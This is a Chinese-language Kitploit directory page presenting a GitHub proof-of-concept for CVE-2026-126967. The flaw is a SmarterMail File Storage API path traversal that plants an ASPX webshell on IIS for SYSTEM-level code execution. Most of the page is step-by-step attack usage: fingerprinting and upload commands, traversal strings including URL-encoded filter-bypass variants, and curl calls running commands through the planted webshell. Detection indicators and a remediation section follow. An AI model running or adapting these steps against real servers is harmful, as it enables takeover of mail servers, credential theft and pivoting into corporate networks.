Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-126967 — 针对 CVE-2026-126967 的 Python PoC:可识别 SmarterMail 构建版本,利用 File Storage API 路径遍历植入 ASPX webshell,并实现 SYSTEM 级 RCE。 | Kitploit
工具/GitHubGitHub/llcforge/cve-2026-126967
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试远程访问木马
GitHubllcforge/cve-2026-126967

CVE-2026-126967

针对 CVE-2026-126967 的 Python PoC:可识别 SmarterMail 构建版本,利用 File Storage API 路径遍历植入 ASPX webshell,并实现 SYSTEM 级 RCE。

查看仓库
3天前尚未审核
分享

CVE-2026-126967

SmarterMail — 文件存储 API 路径遍历导致 SYSTEM 远程代码执行

CVSS CWE Language Fixed ZDI Disclosed


概述

SmarterMail 的 FileStorageController 接受调用方提供的文件名,并将其与每个账户的存储根目录拼接来构造目标路径,既不规范化也不限制结果范围。经过身份验证的低权限用户可嵌入 ..\..\ 序列,从而在邮件数据目录之外写入任意文件。由于 IIS 以 NT AUTHORITY\SYSTEM 身份运行,将 ASPX webshell 写入站点根目录即可获得未认证的命令执行,且处于 Windows 最高可能的权限级别。

字段值
CVECVE-2026-126967
CVSS 3.18.8 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-22(路径遍历)
受影响版本SmarterMail 所有低于 9735 的构建版本
修复版本Build 9735
ZDIZDI-26-994
需要认证低 — 任意有效的 SmarterMail 账户
披露日期2026-11-18

漏洞详情

FileStorageController.Upload 操作接受一个 fileName 参数。控制器会在前面拼接用户的邮件数据根目录,但不执行任何路径规范化:

destination = Path.Combine(userStorageRoot, fileName)
// fileName = "..\..\..\..\inetpub\wwwroot\shell.aspx"
// destination = "C:\SmarterMail\Domains\..\..\inetpub\wwwroot\shell.aspx"

Windows 上的 Path.Combine 不会解析 .. 序列——生成的路径会解析到 IIS Web 根目录。该 API 接受任何文件扩展名,包括 .aspx,从而将上传变成 webshell 植入。随后 IIS 以 SYSTEM 身份提供并执行该 ASPX 页面。


攻击流程

flowchart LR
    A([Attacker\nAuthenticated user]) -->|POST /api/v1/filestorage/upload\nfileName: ..\..\..\..\inetpub\wwwroot\shell.aspx| B[SmarterMail\nIIS / SYSTEM]
    B -->|Writes file to IIS root| C[ASPX Webshell\nc:\inetpub\wwwroot\cve126967.aspx]
    C -->|GET /cve126967.aspx?c=whoami| D([Unauthenticated\nSYSTEM RCE])

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC 用法

警告: 仅限授权测试和隔离的实验环境。植入后,Webshell 无需凭据即可访问——请确保目标处于隔离状态。

环境搭建

pip install -r requirements.txt
# requirements.txt: requests>=2.31.0

步骤 1 — 指纹识别(无需凭据)

在未登录的情况下检查目标版本:

python3 poc.py -u http://mail.example.com --check

预期输出:

[*] target: http://mail.example.com
[*] HTTP 200, build=9720 (< 9735 likely vulnerable)

步骤 2 — 植入 webshell(默认:JSON 上传模式)

python3 poc.py -u http://mail.example.com \
               -U [email protected] \
               -P password123 \
               --write

预期输出:

[*] target: http://mail.example.com
[*] HTTP 200, build=9720 (< 9735 likely vulnerable)
[*] logging in as [email protected]
[+] token: eyJhbGciOiJIUzI1NiJ9...
[*] traversal='..\..\..\InetPub\SmarterMail\' mode=json -> HTTP 200
[*] checking for webshell...
[!] VULNERABLE — running as: NT AUTHORITY\SYSTEM
    shell: http://mail.example.com/cve126967.aspx?c=<cmd>

步骤 3 — 通过 webshell 执行命令

# After successful plant, the webshell accepts ?c= parameter:
curl "http://mail.example.com/cve126967.aspx?c=whoami"
# Output: CVE-2026-126967:NT AUTHORITY\SYSTEM

curl "http://mail.example.com/cve126967.aspx?c=ipconfig"
curl "http://mail.example.com/cve126967.aspx?c=net+user"

上传模式

该 PoC 尝试三种上传模式,以覆盖不同的 SmarterMail 版本:

# JSON body (default — works on most builds)
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode json

# multipart/form-data upload
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode form

# Raw PUT with X-File-Name header
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode raw

可用参数

参数描述
-u URLSmarterMail 基础 URL(必填)
-U EMAIL账户邮箱地址
-P PASSWORD账户密码
--check仅进行指纹识别 — 不登录、不写入
--write尝试植入 webshell
--mode json|form|raw上传内容类型(默认:json)
--proxy URLHTTP 代理(例如 http://127.0.0.1:8080 用于 Burp)

路径遍历候选

该 PoC 会尝试多个路径遍历字符串,以应对不同的安装位置:

遍历路径解析为
..\..\..\InetPub\SmarterMail\典型的 SmarterMail IIS 根目录
..\..\..\...\inetpub\wwwroot\默认 IIS 根目录
..%5C..%5C..%5CInetPub%5CSmarterMail%5CURL 编码 — 绕过过滤器
../../../InetPub/SmarterMail/正斜杠变体

预期输出 — 已修补版本

[*] target: http://mail.example.com
[*] HTTP 200, build=9735 (patched)
[*] attempting traversal '..\..\..\InetPub\SmarterMail\' mode=json -> HTTP 400
[-] upload did not return 2xx on any traversal
[+] NOT vulnerable

检测

指标说明
路径中包含 .. 的 File Storage API 调用IIS 日志:POST /api/v1/filestorage/upload,请求体中包含编码后的路径遍历
IIS 根目录中出现异常的 .aspx 文件针对 C:\inetpub\wwwroot\*.aspx 的计划任务或 FIM 告警
w3wp.exe 启动 cmd.exe / powershell.exeEDR 进程创建告警
C:\SmarterMail\ 中 Domains\ 之外出现新文件文件完整性监控

影响

通过一个无需认证的 webshell 在邮件服务器上实现 SYSTEM 级 RCE,任何能访问 80/443 端口的人均可利用。被攻陷的邮件服务器通常存有电子邮件凭据、PII、内部通信内容,并可作为进入更广泛企业网络的跳板。


修复

升级至 SmarterMail build 9735 或更高版本。该修复增加了 Path.GetFullPath 规范化,并在写入前验证结果仍位于用户的存储根目录内。

操作详情
升级 SmarterMail从 smartertools.com 获取 build 9735 或更高版本
扫描植入的 shell在 IIS 根目录中搜索最近修改的 .aspx 文件
限制 File Storage API阻止来自不受信任 IP 范围的 /api/v1/filestorage 访问
监控 IIS 根目录对新增 .aspx / .ashx 文件设置 FIM 告警

参考资料

  • ZDI-26-994: https://www.zerodayinitiative.com/advisories/ZDI-26-994/
  • CVE 记录: https://www.cve.org/CVERecord?id=CVE-2026-126967
  • SmarterTools: https://www.smartertools.com/smartermail/release-notes

免责声明: 仅限授权安全研究与受控实验环境使用。MIT 许可证。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    379
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    288

探索所有工具

浏览我们的工具集合

查看所有工具 →